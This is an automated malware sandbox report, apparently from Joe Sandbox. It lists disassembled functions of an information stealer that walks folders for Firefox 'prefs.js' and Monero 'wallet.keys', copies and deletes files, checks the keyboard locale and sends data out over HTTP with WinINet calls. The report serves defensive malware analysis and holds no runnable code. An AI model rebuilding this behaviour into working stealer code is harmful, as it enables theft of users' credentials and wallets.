Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 72e1bc614aa829fc398b5a9f3d97edcf304fd2580418210f5c82e73690588532
Instruction ID: 84b50c727d9a4c73271ef03c7f1a50be3d8804d9f5434f467681a881564e3700
Opcode Fuzzy Hash: 72e1bc614aa829fc398b5a9f3d97edcf304fd2580418210f5c82e73690588532
Instruction Fuzzy Hash: 116132B1500218ABCB20EBA0DC45FEA7778BF58701F048598E659A6141EA75EB89CFB1

Function 00D24880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Part of subcall function 00D247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D24839
Part of subcall function 00D247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D24849

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D24915
StrCmpCA.SHLWAPI(?,0184F108), ref: 00D2493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D24ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00D40DDB,00000000,?,?,00000000,?,",00000000,?,0184F198), ref: 00D24DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D24E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D24E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D24E49
InternetCloseHandle.WININET(00000000), ref: 00D24EAD
InternetCloseHandle.WININET(00000000), ref: 00D24EC5
HttpOpenRequestA.WININET(00000000,0184F0E8,?,0184EA10,00000000,00000000,00400100,00000000), ref: 00D24B15

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

InternetCloseHandle.WININET(00000000), ref: 00D24ECF

Strings

", xrefs: 00D24BF2
------, xrefs: 00D24B28
------, xrefs: 00D24C69
------, xrefs: 00D249BD
", xrefs: 00D24D33

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 64007d1e9357f494641c93097706c89026e3c8595a9db0ffe8ab38af82ccf922
Instruction ID: 78439a030ead31f5f2234a3663a6d004cf43da3a9da8d229433931b7242b1a53
Opcode Fuzzy Hash: 64007d1e9357f494641c93097706c89026e3c8595a9db0ffe8ab38af82ccf922
Instruction Fuzzy Hash: 20129772A10128AADB15EBA4DD92FEEB778EF54300F5041A9B14672091EF706F49CF72

Function 00D33EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D33EC3
FindFirstFileA.KERNEL32(?,?), ref: 00D33EDA
StrCmpCA.SHLWAPI(?,00D40FAC), ref: 00D33F08
StrCmpCA.SHLWAPI(?,00D40FB0), ref: 00D33F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3406C
FindClose.KERNEL32(000000FF), ref: 00D34081

Strings

%s\%s, xrefs: 00D33EB7

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: ab8b68c89f7f0ef2c80b94b7d95c33604b9094bf6b4eb26e8faed23ae150c0ec
Instruction ID: 33e2356b2df46344973b599af933d8948ebccca9263d695590bf376d3847b339
Opcode Fuzzy Hash: ab8b68c89f7f0ef2c80b94b7d95c33604b9094bf6b4eb26e8faed23ae150c0ec
Instruction Fuzzy Hash: 1F5147B6900218ABCB24EBB0DC85EEA737CFF54300F444598F659A6040DB75EB899FB1

Function 00D2F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00D415B8,00D40D96), ref: 00D2F71E
StrCmpCA.SHLWAPI(?,00D415BC), ref: 00D2F76F
StrCmpCA.SHLWAPI(?,00D415C0), ref: 00D2F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00D2FAB1
FindClose.KERNEL32(000000FF), ref: 00D2FAC3

Strings

prefs.js, xrefs: 00D2F812

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: b7791899ff9b7bbf1653f68da8789e81d9846450060aa1c6b11d910c597f41a7
Instruction ID: e67a9435cedc8a4cf013575ff8bc02376cc17b70f556ccbd7bdf6890e194ef1e
Opcode Fuzzy Hash: b7791899ff9b7bbf1653f68da8789e81d9846450060aa1c6b11d910c597f41a7
Instruction Fuzzy Hash: 1CB10171A00118ABDB24EB64DC96BEE7379EF54300F4085A8E54A97151EF30AB49CFB2

Function 00D216D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00D4510C,?,?,?,00D451B4,?,?,00000000,?,00000000), ref: 00D21923
StrCmpCA.SHLWAPI(?,00D4525C), ref: 00D21973
StrCmpCA.SHLWAPI(?,00D45304), ref: 00D21989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D21D40
DeleteFileA.KERNEL32(00000000), ref: 00D21DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00D21E20
FindClose.KERNEL32(000000FF), ref: 00D21E32

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Strings

\*.*, xrefs: 00D217F1

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: b9732534e9e6e7c1fac1c32b49632d3cbf6928202b40684a29faa1b0348aec39
Instruction ID: 1834afa41c407ca42efbe891a07568417d47e56662ca99af8eee1e782ce212d6
Opcode Fuzzy Hash: b9732534e9e6e7c1fac1c32b49632d3cbf6928202b40684a29faa1b0348aec39
Instruction Fuzzy Hash: 3F12F271A10128ABDB15FB64DC96EEE7378EF64300F4041A9B54A66091EF706F89CFB1

Function 00D2DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00D414B0,00D40C2A), ref: 00D2DAEB
StrCmpCA.SHLWAPI(?,00D414B4), ref: 00D2DB33
StrCmpCA.SHLWAPI(?,00D414B8), ref: 00D2DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00D2DDCC
FindClose.KERNEL32(000000FF), ref: 00D2DDDE

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 4e847e6b78d2e20f4803718cb8606ecf50bbde4843dde06b16f7a28b0be153ca
Instruction ID: 263e57dda1b708ebd5b60d28664a6d4c1114eefa79e08a9a2e4cf7606e1596be
Opcode Fuzzy Hash: 4e847e6b78d2e20f4803718cb8606ecf50bbde4843dde06b16f7a28b0be153ca
Instruction Fuzzy Hash: 79916872A00118ABCB14FB74EC969ED737DEF94304F408558F95A96181EE749B09CFB2

Function 00D37B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

GetKeyboardLayoutList.USER32(00000000,00000000,00D405AF), ref: 00D37BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00D37BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00D37C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00D37C62
LocalFree.KERNEL32(00000000), ref: 00D37D22

Strings

/ , xrefs: 00D37C7F

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: b12fecb222a0d4565f683e7eae021a6b7813d390283594d8df715cce3147da42
Instruction ID: b6daa223c445a121c79fd2a6a08fbc6ecea1961809da466558d0ee0fec6f5301
Opcode Fuzzy Hash: b12fecb222a0d4565f683e7eae021a6b7813d390283594d8df715cce3147da42
Instruction Fuzzy Hash: 59413CB1940218ABDB24DB94DC99BEEB7B8FF44700F204199E10962291DB746F85CFB1

Function 00D2E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00D40D73), ref: 00D2E4A2
StrCmpCA.SHLWAPI(?,00D414F8), ref: 00D2E4F2
StrCmpCA.SHLWAPI(?,00D414FC), ref: 00D2E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00D2EBDF

Strings

\*.*, xrefs: 00D2E44D

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
